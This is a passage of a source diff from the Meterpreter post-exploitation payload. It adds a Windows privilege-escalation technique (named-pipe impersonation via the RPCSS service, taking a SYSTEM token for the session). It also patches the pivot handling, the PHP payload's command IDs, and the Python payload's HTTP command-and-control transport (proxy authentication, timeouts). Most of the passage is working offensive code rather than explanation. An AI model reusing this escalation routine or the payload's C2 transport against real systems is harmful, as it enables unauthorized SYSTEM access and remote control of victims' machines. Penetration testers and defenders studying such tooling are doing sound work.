+		if (!SetThreadToken(&hThread, hToken)) {
+			CloseHandle(hToken);
+			BREAK_WITH_ERROR("[ELEVATE] post_callback_use_rpcss. SetThreadToken failed", ERROR_ACCESS_DENIED);
+		}
+
+		dwResult = ERROR_SUCCESS;
+		dprintf("[ELEVATE] post_callback_use_rpcss. dispatching to use_self");
+		met_api->thread.update_token(remote, hToken);
+		return ERROR_SUCCESS;
+	} while (0);
+
+	if (hProc) {
+		CloseHandle(hProc);
+		hProc = NULL;
+	}
+
+	if (hSvc) {
+		CloseServiceHandle(hSvc);
+		hSvc = NULL;
+	}
+
+	if (hScm) {
+		CloseServiceHandle(hScm);
+		hScm = NULL;
+	}
+	return dwResult;
+}
+
+DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet)
+{
+	DWORD dwResult = ERROR_ACCESS_DENIED;
+	THREAD* pThread = NULL;
+	HANDLE hSem = NULL;
+	char cPipeName1[MAX_PATH] = { 0 };
+	char cPipeName2[MAX_PATH] = { 0 };
+	HMODULE hNtdll = NULL;
+	OSVERSIONINFOEXW os = { 0 };
+	HANDLE hPipe = NULL;
+	DWORD dwPipeUid[2] = { 0, 0 };
+	PRIV_POST_IMPERSONATION PostImpersonation;
+	PRtlGetVersion pRtlGetVersion = NULL;
+
+	do {
+		hNtdll = GetModuleHandleA("ntdll");
+		if (hNtdll == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
+		}
+
+		pRtlGetVersion = (PRtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
+		if (pRtlGetVersion == NULL) {
+			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Failed to resolve RtlGetVersion");
+		}
+
+		if (pRtlGetVersion(&os)) {
+			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: RtlGetVersion failed");
+		}
+
+		// filter out systems older than Windows 8.1 / Server 2012 R2 (6.3) for this technique
+		if ((os.dwMajorVersion < 6) || (os.dwMajorVersion == 6 && os.dwMinorVersion < 3)) {
+			SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
+			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss: Windows versions older than 6.3 are unsupported");
+		}
+
+		// generate a pseudo random name for the pipe
+		dwPipeUid[0] = ((rand() << 16) | rand());
+		dwPipeUid[1] = ((rand() << 16) | rand());
+
+		_snprintf_s(cPipeName1, sizeof(cPipeName1), MAX_PATH, "\\\\.\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
+		// this *MUST* use the "\\localhost\pipe" prefix and not the "\\.\pipe" prefix
+		_snprintf_s(cPipeName2, sizeof(cPipeName2), MAX_PATH, "\\\\localhost\\pipe\\%08x%08x", dwPipeUid[0], dwPipeUid[1]);
+
+		dprintf("[ELEVATE] elevate_via_service_namedpipe_rpcss. using pipename: %s", cPipeName1);
+
+		hSem = CreateSemaphore(NULL, 0, 1, NULL);
+		PostImpersonation.pCallback = post_callback_use_rpcss;
+		PostImpersonation.pCallbackParam = remote;
+		pThread = met_api->thread.create(elevate_namedpipe_thread, &cPipeName1, hSem, &PostImpersonation);
+		if (!pThread) {
+			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.create failed", ERROR_INVALID_HANDLE);
+		}
+
+		if (!met_api->thread.run(pThread)) {
+			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. met_api->thread.run failed", ERROR_ACCESS_DENIED);
+		}
+
+		// wait for the thread to create the pipe, if it times out terminate
+		if (hSem) {
+			if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) {
+				BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WaitForSingleObject failed", ERROR_ACCESS_DENIED);
+			}
+		} else {
+			Sleep(500);
+		}
+
+		hPipe = CreateFile(cPipeName2, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+		if (hPipe == INVALID_HANDLE_VALUE) {
+			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. CreateFile failed");
+		}
+
+		if (!WriteFile(hPipe, "\x00", 1, NULL, NULL)) {
+			BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. WriteFile failed");
+		}
+
+		WaitForSingleObject(pThread->handle, 5000);
+		met_api->thread.sigterm(pThread);
+		met_api->thread.join(pThread);
+
+		if (!GetExitCodeThread(pThread->handle, &dwResult)) {
+			BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe_rpcss. GetExitCodeThread failed", ERROR_INVALID_HANDLE);
+		}
+	} while (0);
+
+	if (hPipe) {
+		CloseHandle(hPipe);
+	}
+	if (pThread) {
+		met_api->thread.destroy(pThread);
+	}
+	if (hSem) {
+		CloseHandle(hSem);
+	}
+	return dwResult;
+}
\ No newline at end of file
diff --git a/c/meterpreter/source/extensions/priv/namedpipe_rpcss.h b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.h
new file mode 100755
index 00000000..6454bfd1
--- /dev/null
+++ b/c/meterpreter/source/extensions/priv/namedpipe_rpcss.h
@@ -0,0 +1,6 @@
+#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
+#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_NAMEDPIPE_RPCSS_H
+
+DWORD elevate_via_service_namedpipe_rpcss(Remote* remote, Packet* packet);
+
+#endif
\ No newline at end of file
diff --git a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
old mode 100644
new mode 100755
index 086d9fee..e1a769f4
--- a/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
+++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c
@@ -163,18 +163,18 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
 					dprintf("[PIPE] Request ID found and matches expected value");
 					// we have a response to our session guid request
 					DWORD sessionGuidLen = 0;
-					LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, 0);
-#ifdef DEBUGTRACE
-					PUCHAR h = (PUCHAR)&sessionGuid[0];
-					dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
-						h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
-					h = (PUCHAR)&ctx->pivot_session_guid;
-					dprintf("[PIPE]    Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
-						h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
-					dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
-#endif
-					if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
+					LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID, &sessionGuidLen);
+					if (sessionGuid != NULL && sessionGuidLen == sizeof(ctx->pivot_session_guid) && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0)
 					{
+#ifdef DEBUGTRACE
+						PUCHAR h = (PUCHAR)&sessionGuid[0];
+						dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
+							h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
+						h = (PUCHAR)&ctx->pivot_session_guid;
+						dprintf("[PIPE]    Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
+							h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]);
+						dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid));
+#endif
 						dprintf("[PIPE] Session guid returned, looks like the session is a reconnect");
 						memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid));
 
@@ -212,7 +212,7 @@ static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sou
 
 					// with the session now established, we need to inform metasploit of the new connection
 					dprintf("[PIPE] Informing MSF of the new named pipe pivot");
-					Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_DIED);
+					Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, COMMAND_ID_CORE_PIVOT_SESSION_NEW);
 					packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid));
 					packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id));
 					packet_transmit(ctx->remote, notification, NULL);
diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj
index 70219d88..87b204b8 100644
--- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj
+++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj
@@ -362,6 +362,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
     <ClInclude Include="..\..\source\extensions\priv\elevate.h" />
     <ClInclude Include="..\..\source\extensions\priv\fs.h" />
     <ClInclude Include="..\..\source\extensions\priv\namedpipe.h" />
+    <ClInclude Include="..\..\source\extensions\priv\namedpipe_rpcss.h" />
     <ClInclude Include="..\..\source\extensions\priv\passwd.h" />
     <ClInclude Include="..\..\source\extensions\priv\precomp.h" />
     <ClInclude Include="..\..\source\extensions\priv\priv.h" />
@@ -372,6 +373,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
     <ClCompile Include="..\..\source\extensions\priv\elevate.c" />
     <ClCompile Include="..\..\source\extensions\priv\fs.c" />
     <ClCompile Include="..\..\source\extensions\priv\namedpipe.c" />
+    <ClCompile Include="..\..\source\extensions\priv\namedpipe_rpcss.c" />
     <ClCompile Include="..\..\source\extensions\priv\passwd.c" />
     <ClCompile Include="..\..\source\extensions\priv\priv.c" />
     <ClCompile Include="..\..\source\extensions\priv\service.c" />
@@ -381,4 +383,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
   <ImportGroup Label="ExtensionTargets">
     <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
   </ImportGroup>
-</Project>
+</Project>
\ No newline at end of file
diff --git a/php/meterpreter/meterpreter.php b/php/meterpreter/meterpreter.php
index 8fb3f0c5..ddf4db09 100755
--- a/php/meterpreter/meterpreter.php
+++ b/php/meterpreter/meterpreter.php
@@ -860,7 +860,7 @@ function handle_dead_resource_channel($resource) {
 
     # Notify the client that this channel is dead
     $pkt = pack("N", PACKET_TYPE_REQUEST);
-    packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_close'));
+    packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_CLOSE));
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
@@ -878,7 +878,7 @@ function handle_resource_read_channel($resource, $data) {
 
   # Build a new Packet
   $pkt = pack("N", PACKET_TYPE_REQUEST);
-  packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, 'core_channel_write'));
+  packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
   if (array_key_exists((int)$resource, $udp_host_map)) {
     list($h,$p) = $udp_host_map[(int)$resource];
     packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py
index be55f5c1..4daaaf9d 100644
--- a/python/meterpreter/meterpreter.py
+++ b/python/meterpreter/meterpreter.py
@@ -22,7 +22,7 @@ else:
     has_windll = hasattr(ctypes, 'windll')
 
 try:
-    urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
+    urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
     if sys.version_info[0] < 3:
         urllib = __import__('urllib2', fromlist=urllib_imports)
     else:
@@ -969,6 +969,7 @@ class HttpTransport(Transport):
             opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
         if proxy:
             opener_args.append(urllib.ProxyHandler({scheme: proxy}))
+            opener_args.append(urllib.ProxyBasicAuthHandler())
         self.proxy = proxy
         opener = urllib.build_opener(*opener_args)
         opener.addheaders = []
@@ -1004,8 +1005,11 @@ class HttpTransport(Transport):
         packet = None
         xor_key = None
         request = urllib.Request(self.url, None, self._http_request_headers)
+        urlopen_kwargs = {}
+        if sys.version_info > (2, 6):
+            urlopen_kwargs['timeout'] = self.communication_timeout
         try:
-            url_h = urllib.urlopen(request, timeout=self.communication_timeout)
+            url_h = urllib.urlopen(request, **urlopen_kwargs)
             packet = url_h.read()
             for _ in range(1):
                 if packet == '':
@@ -1034,7 +1038,10 @@ class HttpTransport(Transport):
 
     def _send_packet(self, packet):
         request = urllib.Request(self.url, packet, self._http_request_headers)
-        url_h = urllib.urlopen(request, timeout=self.communication_timeout)
+        urlopen_kwargs = {}
+        if sys.version_info > (2, 6):
+            urlopen_kwargs['timeout'] = self.communication_timeout
+        url_h = urllib.urlopen(request, **urlopen_kwargs)
         response = url_h.read()
 
     def patch_uri_path(self, new_path):
@@ -1423,7 +1430,7 @@ class PythonMeterpreter(object):
             libname = match.group(1)
 
         self.last_registered_extension = None
-        symbols_for_extensions = {'meterpreter':self}
+        symbols_for_extensions = {'meterpreter': self}
         symbols_for_extensions.update(EXPORTED_SYMBOLS)
         i = code.InteractiveInterpreter(symbols_for_extensions)
         i.runcode(compile(data_tlv['value'], 'ext_server_' + libname + '.py', 'exec'))